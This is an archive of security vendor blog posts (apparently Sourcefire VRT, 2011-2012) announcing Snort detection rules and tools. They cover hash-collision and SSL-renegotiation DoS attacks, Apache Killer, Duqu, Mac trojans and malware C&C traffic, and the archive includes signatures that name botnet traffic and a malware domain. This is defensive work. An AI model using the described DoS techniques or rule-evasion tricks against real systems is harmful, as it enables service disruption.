VRT

A New Hope

2012-01-05T10:00:00.000-05:00

Rep. Mike Rogers (R-MI) and Rep. Dutch Ruppersberger (D-MD) know a secret: The Federal government is REALLY good at watching people, much better than, say, the private sector. So they asked themselves (at least they did in my mind), "Why not share some of that information in order to protect American businesses from the ubiquitous cyber-security threat?"

Hey guys…that’s a damn good idea!

Seriously, I thought it was a great idea. So it was with a good deal of enthusiasm that I printed out H.R. 3523, or to use its more sexy name, the “Cyber Intelligence Sharing and Protection Act of 2011”.[1] There are only 11 pages, a lot of it standard language stuff, but it essentially lays out that the governement can share with the private sector and vice versa. Of course, it's never that simple. For example, the NSA can only share with cleared organizations that can demonstrate they know how to handle classified information.

There is also the small matter of the following statement from the proposed legislation: "classified cyber threat intelligence may only be … shared consistent with the need to protect the national security of the United States.” Which, of course, leaves one giant question: What, exactly, constitutes a threat to national security?

There are, of course, the obvious…terrorists, nuclear proliferation, hostile foreign nations, and the like. But that isn’t what Rogers and Ruppersberger are thinking here. They are, according to Mike Rogers, targeting “economic predators, including nation-states, [that] are blatantly stealing business secrets and innovation from private companies.” [2] So we aren’t talking missiles, bombs and airplanes, we’re talking, potentially, about contract negotiations, natural resource surveys and customer lists.

A recent report [3] by the Office of the National Counter Intelligence Executive (ONCIX) states that “Losses of sensitive economic information and technologies to foreign entities represent significant costs to US national security.” Clearly, this administration, and apparently this congress, are adopting the position that jacking with U.S. companies jacks with the national security. Given the nature of the world today, I think they're right to do so.

I know...I'm not well known for staunchly backing the ideas of legislators or administrators. You wouldn't be blamed for thinking I’m a cynical, pessimistic nutter who lived by himself in a wooden hut, eating nothing but pickled ginger and gummy bears while spending his day ranting about the overly generous nature of most computer networks.[4] But this time -- and I do have trouble saying this -- I think they’re on to something. The private sector just isn't in a position to match the federal government's ability to generate intelligence. In fact of all the things the government could provide in the forms of mandates, laws, policies, rules, reporting requirements, CISSP factories, etc... intelligence is really the only thing that makes sense. It's the only thing that they can provide that industry can't legitimately generate itself. I think this is a really good piece of legislation.

Of course, there are lots of ways to screw it up, and I'm sure that some of those ways will be found. But if we get into the habit of having the government share information and letting organizations figure out how to act on the information, we'll be headed down a very good path.

[1] http://www.gpo.gov/fdsys/pkg/BILLS-112hr3523ih/pdf/BILLS-112hr3523ih.pdf
[2] http://dutch.house.gov/2011/11/ruppersberger-rogers-introduce-cybersecurity-bill-to-protect-american-businesses-from-economic-preda.shtml
[3] http://www.ncix.gov/publications/reports/fecie_all/Foreign_Economic_Collection_2011.pdf
[4] And nothing in this blog post would prove you wrong…

Cross-Platform Single-Request Web Server DoS From CCC

2011-12-28T15:08:00.005-05:00

Security never sleeps, even if it is the week between Christmas and New Year's, and most of you are on vacation, enjoying time with your family, or just goofing off because the office is empty. Today's reminder of that reality comes from Alexander Klink and Julian Walde, who presented yesterday at the 28th Annual Chaos Communication Congress a method of consuming a web server's entire CPU with a simple, low-bandwidth POST request. In fact, according to the advisory they released after the talk, as little as 30k/sec could be necessary to occupy a single i7 core, depending on the target platform.

While the details of the attack are complex and vary from one target platform to another, the essence of it is that if you can send a large number of key/value pairs where the keys cause collisions in the receiving system's hashing algorithm, each colliding key will consume exponentially more CPU time to parse than the last. This makes for fairly straightforward detection in Snort - exceptionally large numbers of key/value pairs are necessary to trigger the bug, and so it's a matter of counting them up in a given request.

We've released SIDs 20823 and 20824 in an SEU late last night to cover this vulnerability.

For more information on this vulnerability check out the MSRC blog post here. The VRT Snort rules for detecting this vulnerability are discussed in their blog post.

We are working on the additional issues patched in MS11-100, and will provide coverage for those shortly.

Malware Mythbusting

2011-11-18T20:25:00.003-05:00

The malware sandbox that I've previously discussed on this blog has made for a lot of useful Snort rules - but it's also helped get me some excellent speaking slots around the world this year. This time, I've just wrapped up a presentation titled "Malware Mythbusting" at Ruxcon, Australia's premier technical security conference.

The premise of the talk was simple: there's a lot of hype surrounding malware, and if you're someone tasked with keeping a network secure, there's generally not a lot of good information about the nature of the threat. Can I cut off China and Russia and make all the C&C servers go away? Are spambots really a major threat, or has garden-variety malware moved on? Are the people writing malicious software a bunch of evil geniuses, or can a little bit of diligence and attention locate heaps of nasty behavior on the network?

While I don't claim to have all the answers - no one does - I hope to have done a reasonable job of answering some of these questions during this talk. For those of you who didn't have the chance to make it down here - and for those who did that want to take a closer look at some of the data presented - I've made my slides available here. As I noted in the talk, if you have questions that it left unanswered, or if you're interested in working with us on malware research, drop the VRT a line - we're happy to collaborate with anyone who has good ideas. After all, at the end of the day, we're all on the same team here, and anything that can be done to clean more malicious software from the Internet is a good thing, regardless of the source.

Microsoft Security Advisory 2639658

2011-11-08T14:51:00.001-05:00

Microsoft recently added a new initiative to its Microsoft Active Protection Program (MAPP), called the Advisory Initiative program, which gives partners up to 96 hours to provide protection for discovered vulnerabilities. Microsoft piloted the program with an advisory release on the Win32K TrueType font parsing engine, related to the Duqu malware (CVE-2011-3402). Sourcefire released its protections for this threat within the first 48 hours, as noted on the MAPP site http://technet.microsoft.com/en-us/security/advisorymapp:

SID: GID 3, SID 20539
http://labs.snort.org/papers/ms/immediate-response.html

Duqu exploits a vulnerability in Windows in the way it parses TrueType fonts and it can create an open tunnel into a user's computer. Then attackers have the freedom to gain full system access and run arbitrary code and modify data, install applications, and, essentially, use the system as the user would. This flaw, for which Microsoft previously issued a workaround, is exploitable across many Windows platforms. Despite this, Microsoft reports that they are currently seeing low customer impact at this time.

More information, as well as other vendors who responded within 48 hours, can be found on the MAPP program web site.

Android Malware Analysis: A How-To

2011-11-03T15:00:00.000-04:00

While mobile malware comprises only a tiny fraction of the overall landscape in terms of volume, it is fast becoming essential to address from an enterprise security standpoint. Unfortunately, very few people would even have a clue where to start if charged with analyzing a program on a smart phone. This disconnect provided the rationale for a presentation I recently gave at Hack in the Box Malaysia on how to go from "I've got an Android APK file, now what?" to full static and dynamic analysis.

The slides, available here, contain links to a number of useful tools. The good news for longtime readers of this blog is that the process is even easier now than it was when Alain Zidouemba discussed reversing Android apps last August. Free software is available that can deliver the original Java source for any given Android app. My presentation also provides an overview of the Android permissions system and its relevance to static analysis, as well as some example packet captures from in-the-wild malicious apps.

One useful piece of advice remains the same since Alain's original analysis, however: the vast majority of malicious apps come not from the Google market but from third-party package distribution sources. We're not saying that you shouldn't ever pull an app from outside the market, just that you should do your homework before you do.

Say Hello to the file-identify category

2011-11-02T15:56:00.002-04:00

This week we are introducing a new rule category into the VRT rule set, named "file-identify.rules". The purpose of this category is to standardize the structure of rules that “set” a flowbit and to enhance detection by looking into file data. The changes will occur in two stages.

Stage 1. The creation of a series of rules that detect the "magic" in files, probably around 70 to start, with more being added as time passes and needs arise. For example:

alert tcp $EXTERNAL_NET $FILE_DATA_PORTS -> $HOME_NET any (msg:"FILE-IDENTIFY PNG file magic detection"; flow:to_client,established; file_data; content:"|89|PNG|0D 0A 1A 0A|"; within:8; fast_pattern; flowbits:set,http.png; flowbits:noalert; classtype:misc-activity; sid:20478; rev:1;)

In this example, the magic at the beginning of the file is detected (the "|89|PNG|0D 0A 1A 0A|”) and the flowbit is set for this particular file type. This will allow a flowbit to be set for file types based on the data in the file and not the file extension in say a URI. For example, if a rule looks for “.jpg” in the URI and sets the “http.jpg” flowbit to track the download for the image requested, but the file is actually a PDF with a .jpg extension, then further detection based on the setting of this flowbit could lead to false positive events at best and false negative events at worst.

Stage 2. Move all URI checks for file extensions over to "file-identify". A lot of work has been done to cleanup these rules. They now have a well defined and consistent structure, with references, flow, message, detection, classtype and pcre options all standardized.

For example:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"WEB-CLIENT .hta download attempt"; flow:to_server,established; content:".hta"; nocase; http_uri; pcre:"/\.hta(\b|$)/Ui"; flowbits:set,http.hta; flowbits:noalert; classtype:not-suspicious; sid:3551; rev:4;)

Now reads:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"FILE-IDENTIFY HTA file download request"; flow:to_server,established; content:".hta"; nocase; http_uri; fast_pattern:only; pcre:"/\x2ehta([\?\x5c\x2f]|$)/smiU"; flowbits:set,http.hta; flowbits:noalert; reference:url,en.wikipedia.org/wiki/HTML_Application; classtype:misc-activity; sid:3551; rev:5;)

And rules like this:

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT GIF transfer"; flow:from_server,established; content:"image/"; nocase; http_header; pcre:"/^Content-Type\x3a(\s*|\s*\r?\n\s+)image\x2fgif/smiH"; flowbits:set,http.gif; flowbits:noalert; classtype:protocol-command-decode; sid:3535; rev:9;)

Have been changed (or eliminated in this case) and have been split into two:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"FILE-IDENTIFY GIF file download request"; flow:to_server,established; content:".gif"; nocase; http_uri; fast_pattern; pcre:"/\x2egif([\?\x5c\x2f]|$)/smiU"; flowbits:set,http.gif; flowbits:noalert; classtype:misc-activity; sid:17394; rev:2;)

alert tcp $EXTERNAL_NET $FILE_DATA_PORTS -> $HOME_NET any (msg:"FILE-IDENTIFY GIF file magic detection"; flow:to_client,established; file_data; content:"GIF8"; within:4;

fast_pattern; content:"a"; within:1; distance:1; flowbits:set,http.gif; flowbits:noalert; classtype:misc-activity; sid:20459; rev:1;)

Over the course of the next week, these changes will be made to the rule set, and a new variable will be introduced in the snort configuration file:

portvar FILE_DATA_PORTS [$HTTP_PORTS,110,143]

Following these two introductions, the structure and formatting of all the flowbit names will be standardized. For example, replacing names like “http.gif” with “file.gif”, will reflect more accurately what is being detected.

Action items for you:

#1. You'll need to add the above variable to your snort.conf, use the snort.conf in the VRT tarball, or download the new snort.conf .
#2. If you are using the Sourcefire product, or PulledPork, the change should be minimal. The Sourcefire product and PulledPork perform flowbit auto-enabling and resolution. If you are using another tool to mange your installation, you will need to pay attention to this rule category.

SSL DoS, Snort, and You

2011-10-31T13:16:00.018-04:00

Upon hearing of the release of THC SSL DoS tool, we decided to download it and look at it in our lab. The idea was intriguing and we were curious to see it in action.

If you are unfamiliar with the method utilized, the THC SSL DoS tool seeks to issue a Denial of Service (DoS) against hosts that offer SSL/TLS encrypted services. Unlike SSL flooding techniques of the past, this attack does not do this with rapid connections. Instead it makes a small number of connections and then rapidly renegotiates the SSL handshake inside those same connections.

The problem is that an attacker no longer needs a large amount of bandwidth or to mount a distributed attack to be able to successfully perform an SSL DoS attack. By utilizing a single SSL connection to a server, thousands of SSL handshake renegotiation requests can be performed very quickly.

To quote THC:

"Traditional DDoS attacks based on flooding are sub optimal: servers are prepared to handle large amount of traffic and clients are constantly sending requests to the server even when not under attack.

The SSL-handshake is only done at the beginning of a secure session and only if security is required. Servers are _not_ prepared to handle large amount of SSL Handshakes."

So, what can Snort do for you? We knew that with the default configuration on Snort's SSL preprocessor we were not going to see the renegotiation happening. The reason is that once a successful SSL connection is made, without an SSL decryption appliance (Sourcefire sells them), Snort will ignore the rest of the conversation - the logic being that, since it's now encrypted, we can't do any detection on the traffic anyway. However, all hope is not lost. If you are in a position in which you need to detect this, there is a way. This detection behavior is controlled by the SSL preprocessor option "noinspect_encrypted"; removing that keyword will cause Snort to continue inspection after a session goes encrypted.
So, what next? First, let's look at the SSL/TLS record layer content types:

Hex             Dec     Type
0x14            20      ChangeCipherSpec
0x15            21      Alert
0x16            22      Handshake
0x17            23      Application

Since the attack utilizes handshake renegotiations, we are interested in the Handshake (0x16). Now we are interested in the two bytes of SSL/TLS version information:


Major                   Minor                   Version Type
3                       0                       SSL 3.0
3                       1                       TLS 1.0
3                       2                       TLS 1.1
3                       3                       TLS 1.2

So, if we take the content type, major version, and minor version within the first three bytes, we can get a pretty decent match. Next we sprinkle in a detection_filter to track the number of renegotiations, and finally we remove the noinspect_encrypted from the SSL preprocessor, and there it is ... SSL negotiation DoS detection.

This isn't a configuration I would recommend unless you've got a good reason because there will be a performance penalty. However, if you need it, you've got it. Run the rules that match your environment, adjust the ports as needed, and tweak the detection_filter to taste. The rules will be released in the next SEU.

This blog post has been brought to you by the letters V, R, T.


alert tcp $EXTERNAL_NET any -> $HOME_NET [443,465,587,995,993] (msg:"DOS multiple SSLv3 Encrypted Handshake messages - THC-SSL tool, potential DoS"; flow:established,to_server; ssl_state:!client_hello; content:"|16 03 00|"; depth:3; detection_filter:track by_src,count 25, seconds 2; reference:url,www.thc.org/thc-ssl-dos/; classtype:attempted-dos; sid:20436;)

alert tcp $EXTERNAL_NET any -> $HOME_NET [443,465,587,995,993] (msg:"DOS multiple TLSv1 Encrypted Handshake messages - THC-SSL tool, potential DoS"; flow:established,to_server; ssl_state:!client_hello; content:"|16 03 01|"; depth:3; detection_filter:track by_src,count 25, seconds 2; reference:url,www.thc.org/thc-ssl-dos/; classtype:attempted-dos; sid:20437;)

alert tcp $EXTERNAL_NET any -> $HOME_NET [443,465,587,995,993] (msg:"DOS multiple TLSv1.1 Encrypted Handshake messages - THC-SSL tool, potential DoS"; flow:established,to_server; ssl_state:!client_hello; content:"|16 03 02|"; depth:3; detection_filter:track by_src,count 25, seconds 2; reference:url,www.thc.org/thc-ssl-dos/; classtype:attempted-dos; sid:20438;)

alert tcp $EXTERNAL_NET any -> $HOME_NET [443,465,587,995,993] (msg:"DOS multiple TLSv1.2 Encrypted Handshake messages - THC-SSL tool, potential DoS"; flow:established,to_server; ssl_state:!client_hello; content:"|16 03 03|"; depth:3; detection_filter:track by_src,count 25, seconds 2; reference:url,www.thc.org/thc-ssl-dos/; classtype:attempted-dos; sid:20439;)

Razorback 0.3 Released

2011-10-26T12:36:00.000-04:00

Yesterday we released Razorback 0.3, the result of the Q3 development run. Q3 focused on building out the scripting nugget, reworking how the Snort-as-a-Collector nugget works and building out a VM image so you can easily tryout the Razorback system.

The scripting nugget is a huge addition to Razorback. The scripting nugget uses XML across named pipes to pass registration, alerting and logging information back to the system. This allows the use of any scripting (or even compiled) language that can pass XML out STDOUT with Razorback. We ship a ruby gem that makes writing detection scripts fairly straightforward as well as a sample ruby nugget.

The scripting nugget calls each script on startup with the --register argument. This causes the scripts to output their registration information and the script nugget then registers on their behalf. The scripting nugget then handles retrieving data blocks and calling the nuggets when they are needed for detection. The scripting nugget then parses the alerting and logging output and uses the standard C API to alert and log on behalf of the scripts. Finally, the scripting nugget is constantly watching the scripts directory, so adding detection to a running system is as simple as copying a new script into the directory.

There have been a couple of versions of Snort released since we initially built the SAAC and there were some lingering issues we wanted to clean up, so the Amish Hammer sat down and basically rewrote it from the ground up. The shipping version is now based on Snort 2.9.1.1, has better memory management and is fully integrated with the current API allowing for the data block captured to have the request information attached to it. Basically this means that for any given captured data block, we have all the information about how it was requested: hostname, URI, IP addresses, ports etc... Very useful for forensics work.

Finally, we have built out a FreeBSD based virtual appliance so you can easily bring up and interact with a Razorback installation. The system comes pre-configured witha ll of the sub-components requried for Razorback to run: memcached, MySQL and ActiveMQ. In addition, it provides the following nuggets: Yara, OfficeCat, ClamAV, Archive Inflate, Scripting, File Inject and a Snort-as-a-Collector nugget. Provided you have an API key you can also enable the Virus Total nugget and if you have a license, you can activate the PDF Dissector nugget.

Beyond all this are various and sundry bug fixes, performance enhancements and usability improvments.

You can find the source code for 0.3 here:
https://sourceforge.net/projects/razorbacktm/files/Razorback/razorback-0.3.0.tbz/download?source=files

You can find documentation on the VM here:
https://sourceforge.net/apps/trac/razorbacktm/wiki/Manual/Virtual_Machine

You can find the VM itself here:
https://sourceforge.net/projects/razorbacktm/files/VM/

Enjoy!

Fishing For Malware: Tread Softly and Carry A Big Net

2011-10-06T09:09:00.004-04:00

If you pay attention to the list of new rules in each SEU, you've probably noticed us adding a lot of malware rules lately. While on the surface it may appear that we're just picking random samples out of the millions of different pieces of malware available on the Internet, there's actually a method to our madness that's worth explaining here, to help you make the best possible decisions on which rules you want to enable in your environment.

Outside of cases where we're asked to provide coverage for a specific piece of malware, our primary goal whenever we add a new rule is to cover more than just one sample with any given rule. After all, if there was a 1:1 ratio of rules to malware, we'd end up writing hundreds of thousands of rules and still only touching the tip of the iceberg in terms of total detection - whereas if we can write a rule that catches thousands of different pieces of malware, we can provide much more useful detection in a much more manageable way.

A good example of this principle in action is SID 20232, released in SEU 507:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"BOTNET-CNC Trojan Win32.Cycbot outbound connection"; flow:to_server,established; content:"?v"; http_uri; content:"tq=g"; distance:0; http_uri; content:"User-Agent|3A 20|mozilla/2.0|0D 0A|"; fast_pattern; http_header; pcre:"/(gif|jpg|png)\x3fv\d{1,2}\x3d\d{1,2}\x26tq\x3d/U"; metadata:policy balanced-ips drop, policy security-ips drop, service http; reference:url,www.virustotal.com/file-scan/report.html?id=01fabe4ad1552f4d61b614a319c90b33a6b6b48c5da63965924b687e3f251ca8-1316273623; classtype:trojan-activity; sid:20232; rev:2;)

The analyst who wrote this rule was initially investigating the piece of malware named in the message string specifically, with the string "jpg?v" as a key piece of detection. However, when he began digging through our malware sandbox for samples to test his initial rule with, he realized that a very large number of samples could be detected if he were to broaden his search to look for either "jpg?v", "gif?v" or "png?v" - 3,856 in just the month of September 2011, to be specific. Since relying solely on a five-byte URL match could easily produce false positives, he analyzed several samples by hand, and was able to add the other checks in the rule to keep false positives at bay while still detecting a huge amount of malware. Amazingly enough, that rule will detect 122,630 distinct samples that have run through our sandbox since the start of 2011!

While cases like this are great from a detection perspective, they present a bit of a challenge from a metadata perspective. We can't just have a rule message like "BOTNET-CNC this rule is awesome it finds lots of malware", nor could we possibly list all the different pieces of malware this one rule catches in the message string. The same principle applies to rule references - leaving them out altogether isn't useful, and we can't add references for all the different malware the rule catches. Using data from the targeted piece of malware, or the one that the rule catches most frequently, is a compromise that gives users some idea of what the rule is doing, while still retaining sanity in terms of size.

So the question that users face is, "how do I know when a rule is really useful like this, vs. something more targeted and less broadly applicable?". The answer comes from the default policies that a rule is placed into. If a rule will catch a large amount of malware, and do so without significant false positives or performance problems, we'll place it into the balanced-ips policy. Rules that run more slowly, may generate some false positives, but will still catch more than one piece of malware at a go end up in the security-ips policy. Cases where a rule isn't broadly applicable are not placed into any of the default policies.

Of course, we've received word from multiple customers that they simply enable the entirety of the BOTNET-CNC, BACKDOOR, and BLACKLIST categories with little to no trouble, and plenty of valid detection. Your mileage may vary, of course - but if you're having problems with malware on your network, it may be worth a look. :-)

Mac "Trojans" this past weekend. OSX.Revir-1

2011-09-29T13:04:00.002-04:00

Over the weekend a rash of articles appeared across the Internet referring to a "new" Mac Trojan named "Revir.A". The first one that came to my attention was on the F-Secure Blog last Friday. I was able to obtain a copy of the referenced sample for this "Trojan" and started to analyse it.

However, before I tell you how it turned out, I can't tell this story without telling another story first.

As many security researchers are, I belong to several Mailing lists. They are great tools to use when exchanging information with other researchers or talking about the newest things we've found. It seems that no matter what the new technology is for exchanging data (Sharepoint, Wiki's, Google Wave), Email always seems to win.

Well, back in May I was able to mine a small nugget of awesome from one of these Mailing lists. Someone warned the list members of a new "Trojan" that was spreading, spoofing who it was from, and that it appeared to be a new SpearPhishing campaign. So naturally, I asked for a copy.

What I received was a "Trojan" (Trojan is in air quotes there) for the Mac. Something never seen before (as described by Virustotal) and was packaged up into a .zip file.

This .zip file contained an Application for the Mac (.app) with the familiar Finder icon. A couple of reports we received said that the program executed by double clicking it, however, in our test suite, the embedded binary did not execute.

This "Trojan" (as the trojan writer called it, I mean really... Trojan?) upon execution will display a PDF named "Survey.pdf", asking you to take a "Product Satisfaction Survey". Now, remember this was back in May. The VRT provided detection and protection for our AntiVirus customers (ClamAV and Immunet) as well as Snort detection at the time.

Fast forward to this past weekend when a new "PDF" (It wasn't a PDF, it just looked like a PDF, contrary to some new reports) document started making the rounds. As I said in the beginning of my story, I managed to get a hold of this "PDF Trojan" and took a look inside.

This new "Trojan" displayed a number of similarities to the other example we saw back in May. The same method for downloading other executables, a similar attack method, similar binary build methods, etc. Again the trojan wouldn't execute properly in our environment, some aspects of it functioned, and some didn't. Not a very good "Trojan" and certainly not as convincing as MacDefender.

In any case, ClamAV and Immunet customers are now protected against this malware:

MacOSX.Revir-1

Snort customers:

Sid:20202 <-> BOTNET-CNC OSX.Revir-1 outbound connection
Sid:20203 <-> BLACKLIST DNS request for known malware domain tarmu.narod.ru

As always, I'll keep reading the email from my lists, ever vigilant, keeping an eye open for the latest Mac malware, but if any of you reading this come across something, please get in touch with me or the VRT and let us know. The VRT contact information can be found here: http://labs.snort.org/contact.html To contact me directly, if you don't already know my email address, it is my first initial my last name at sourcefire.com :D

Update: After performing more research into the trojan, the original rules that were authored back in May also alert on this newest variant. Ensure you have the following rules enabled as well:

Sid:19017 <-> BOTNET-CNC MacBack Trojan outbound connection attempt
Sid:19018 <-> BOTNET-CNC MacBack Trojan outbound connection attempt
Sid:19019 <-> BOTNET-CNC MacBack Trojan outbound connection attempt

This is why we have nice things

2011-08-25T16:57:00.000-04:00

A lot of people have been freaking out about the "Apache Killer" tool released on Full-Disclosure last Friday. While it's an effective way to cause a Denial of Service (DoS) against an Apache web server, and readily accessible to your average malfeasant, the good news is you don't need to let your hair catch fire over it, because the VRT had it covered before the tool was even released.

Specifically, the http_inspect preprocessor has an option to detect overly long header fields. Since the "Range:" header sent by the tool in order to exploit the bug is well over a packet's length in size, it easily triggers GID 119, SID 19 in Snort, which is set to go off for headers over 750 bytes in the standard open source configuration. For those using the Sourcefire corporate product, by default this option is set to 0 (disabled); this can of course easily be turned on, with a value as high as 1,500, and still catch the attack.

Meanwhile, we've included GID 1, SID 19825 in today's release, which looks for "Range:" headers broken in the specific way that this tool exploits. Not only will this make it easy to tell your boss you've got coverage in place for this crazy new tool, it will help anyone who may be in an environment where the long header preprocessor rule generates false positives.

You may now return to your regularly scheduled programming.

Rawbytes is not the modifier you're looking for

2011-08-16T15:54:00.001-04:00

I spend a lot of time working with Sourcefire customers and open-source Snort users who write their own custom rules. Many of them are extremely astute, and some of them write rules good enough to be in the official VRT set. Others, well, not so much.

One of the biggest issues I see with custom rules is incorrect use of content modifiers. Missing out on the latest http_* buffer, of course, is totally understandable - the Snort team's constant refinement of that preprocessor has made a lot of things work better, even if it is occasionally a chore to keep up with. Mixing up depth, offset, distance, and within makes sense, too - everyone who writes Snort rules usually takes a little time to sort all those out in their brains. The one I don't understand at all, though, is people's obsession with rawbytes, especially in HTTP rules.

Seriously people, WTF? You're going out of your way to introduce rule evasion cases. The rawbytes modifier only exists because it was useful for some Telnet-related issues back in the day, and there are all of two rules outside the Telnet category that make use of it today - both of which are obscure edge cases where the rule is doing something truly unusual. No respectable Snort rule-writing class teaches you to use it; you've had to invest extra effort to even realize it exists, let alone decide to use it. Worst of all, using it to look at an HTTP header (or, heaven forbid, a URI) undoes all of the useful normalizations and de-obfuscation work done by the http_inspect preprocessor, making your rule "t%72iv%69a%6c" to avoid in the wild. Why waste your already limited time resources on breaking your rules?

So next time you think about including rawbytes in a rule, ask yourself this first: is there absolutely, positively, 100% for sure no other way to write this rule, and no chance I'm introducing an evasion in the process? If you can, without a doubt, answer yes to that question, sure, go right ahead and use rawbytes - we haven't deprecated it because the Internet is a strange place, and every so often you may run into a situation where you need it. If there's a shadow of a doubt in your mind, though, do IDSes around the world a favor, and just say no.

Do you really trust that certificate?

2011-07-15T13:49:00.016-04:00

If you've read many of my posts on this blog, you've probably realized by now that I'm lazy when it comes to dealing with malware. I hate the "whack-a-mole" game of trying to stay on top of every new thing every new piece of malware does - not only because it'd keep me busy 24/7 if I tried to do that, but also because Snort would end up without particularly useful coverage anyway even if I (and a hundred of my closest friends) did.

With that in mind, I was pleased to add SID 19551 - "POLICY self-signed SSL certificate with default Internet Widgits Pty Ltd organization name" - to our last rule release (Issued on 2011-07-14). On the surface, it doesn't seem like it's related to malware at all - but if you'll give me a moment to explain, you may find yourself turning it on in the not-too-distant future.

The thought process behind it started with the barrage of requests I've received recently for coverage of the "indestructible" TDL4 botnet. One requester was kind enough to supply this excellent analysis from SecureList.com, which provided a list of recent C&C servers for this particular botnet. Armed with that information, I was able to go query up my malware sandbox, which had dozens of recently-run samples ready for analysis.

Sifting through the traffic, I noticed that, in addition to the custom encryption described in the analysis I'd read, successful connections to the C&C servers were starting off with SSL-encrypted traffic. Most people would be disheartened at the sight of this; I immediately zoomed in and looked at the server certificate, hoping that the botnet authors had used a unique Common Name in the certificates that we could use for an easy rule. Unfortunately, they had not; instead, they'd used the default option for a self-signed certificate, "Internet Widgits Pty Ltd".

As I sifted through the rest of the PCAPs, hoping to find a quality pattern, it dawned on me that even using the default option from a self-signed certificate was a useful indicator. Sure, most IT administrators use self-signed certs on their internal gear, and even some cheap administrators of low-traffic, public-facing sites will use them too (::looks at 21-year-old self::). Any serious, relevant site that uses SSL will have a validly signed certificate from a trusted CA - and even the cheapskates out there will usually set a non-default name on their self-signed certs.

With that in mind, we've made this rule available, just in case you agree with this logic and want to give this method of detection a spin. The rule is of course off by default, given that it could generate a substantial number of false positives (we'll be eager to get feedback from the field on just how many it generates, and what the ratio of useful-to-garbage alerts actually looks like). If you do decide to turn it on, I would recommend also checking that you've enabled SIDs 19496 - 19550, which look for DNS queries for the TLD4 C&C domains listed in the report I referenced above. If you see the two fire in rapid sequence, well, chances are real high you've got a problem on your hands.

P.S. Seems the good folks at Netresec.com had a similar idea the just a few days before we published that rule. I promise we didn't steal from them, it's just that great minds think alike. ;-)

Binary C&C Over HTTP

2011-07-13T13:24:00.000-04:00

A few weeks ago I gave a presentation at the CARO 2011 Workshop in Prague. Besides being set in a stunningly beautiful location, the conference was an excellent opportunity to meet malware researchers from around the world - a group who are, by and large, distinct from network security researchers.

Since I personally happen to think that the separation of these two groups is a shame (and, well, since I needed a topic that would get me out to Prague in the springtime), my presentation crossed the proverbial streams, by looking at malware-generated network traffic. Thanks to the malware sandbox we have running over here, I've got traffic like that coming out my ears.

Specifically, the presentation focused on the presence of pure binary C&C channels being sent over HTTP. After the Night Dragon trojan (SIDs 18458/18459 for those keeping score at home) created a big media stir back in February, I was struck by the realization that sending data without HTTP headers over port 80 was actually a pretty solid trick, and that other malware authors might be doing something similar. After all, basically every firewall on the planet will let you initiate an outbound connection to the Internet on that port, and net flow sure isn't going to do much good on the busiest port on any network. Where better to be a needle in a haystack?

Running through approximately 1.5 million PCAPs from the sandbox, I realized that not only was this sort of thing happening among other malware families - it was actually fairly common. In fact, a full 0.8% of those 1.5 million samples showed this sort of behavior - a number which seems small, until you realize just how much malware you could catch with extremely simple behavioral analysis.

For those interested in more details, you can read my slides here. We are willing to share samples with legitimate security researchers - provided you're willing to send relevant data back our way in return.

For those just interested in protecting their networks - we're currently working with the Snort team to find the best way of detecting traffic like this at a generic level. In the meantime, I highly suggest that you enable SID 18492 - which looks for DNS queries made by the most prevalent bit of malware displaying this behavior in our sandbox - and that you consider turning on the entirety of our blacklist.rules and botnet-cnc.rules categories, which is where we're adding most of the new rules pulled from data generated by the sandbox.

Now Available -- Razorback 0.2 Release Candidate

2011-07-12T14:45:00.000-04:00

0.2 Release Candidate

This week we’re putting out the Razorback 0.2 release candidate. You can find it here:

http://sourceforge.net/projects/razorbacktm/files/Razorback/razorback-0.2.0-rc.tbz/download

This release, and the 0.2 final release scheduled for next week, contains all the major functionality for the dispatcher. The dispatcher in 0.2 now has the following capabilities:

Data acquisition and submission API
Alerting and judgment API
Queue based messaging system
Data blocks stored to disk
Support for local (shared file system) and over-the-wire data block transmission
Local and global caching services
MySQL database back-end
Remote management through the use of libcli

We use several open source services and libraries, so you’ll need to have those set up. The quick list is:

Apache's ActiveMQ
memcached (and associated libraries)
libcli
mysql (and associated libraries)
uuid libraries

Tom "The Amish Hammer" Judge has done a great job of laying out the prerequisites and other installation information on the Sourceforge Trac site here: http://sourceforge.net/apps/trac/razorbacktm/. After you have the prerequisites for installation, getting setup with a basic setup goes something like this:

tar -zxvf razorback-0.2rc.tar.gz
cd razorback
./configure --prefix=/home/myhome/02rc/ --enable-debug --disable-officeCat --enable-routing-stats --disable-snort --disable-clamavNugget --with-api=/home/myhome/02rc/lib/
make; make install
Use the .sql scripts in ./dispatcher/share to setup schema and populate key data fields
cd /home/my home/02rc/etc/razorback
Change the names of *.config.sample to *.config
Change the name of magic.sample to magic
Edit dispatcher.conf

Modify database settings
Modify GlobalCache settings to point to your memcached server
Change username/password for the console
For now, leave everything else at default

Edit rzb.conf

Modify MessageQueue to point to your ActiveMQ server

cd /home/myhome/02rc/bin
./dispatcher -d

Dispatcher should start up in debug mode

In another window, and in /home/myhome/02rc/bin:

./masterNugget -d
master nugget and any nuggets you configured should start up in debug mode

In another window, and in /home/myhome/02rc/bin:

Find a PDF file
Inject it into the system:

/home/myhome/02rc/bin/fileInject --type=PDF_FILE --file=monkey.pdf

A copy should be in your /tmp directory called block-. This is done by the File Log nugget.

That test means your basic setup works. We'll follow up with more information on the ClamAV and Snort-as-a-Collector nuggets in a future blog post, but both are functional for this build. As always, you can get support from the Razorback trac site or from the Razorback mailing lists.

Q3 -- Detection

Now that we have the core of the system mostly in place, the Supreme High Royal Emperor Watchinski, head of the VRT, has declared that Q3 will be dedicated to building out the detection capability. And there was much rejoicing. (Seriously, the Dispatcher is awesome and all, but what we really want to do is detect bad things. Its our thing.)

To that end we'll be working towards several goals:

Script interface so that detection can be build in any given scripting language
A web portal so you can submit files to our Razorback deployment
A "Defense Run" where each developer works on two new nuggets for collection or detection
Improved configuration setup
A set of ISOs and VMWare images so you can quickly get the system up for testing.

We'll keep you up to date on the Q3 stuff and we hope you let us know how you are doing with the 0.2RC. You can expect a final release of the 0.2 build sometime next week, provided all goes well.

A Close Look at Rogue Antivirus Programs

2011-06-28T14:08:00.000-04:00

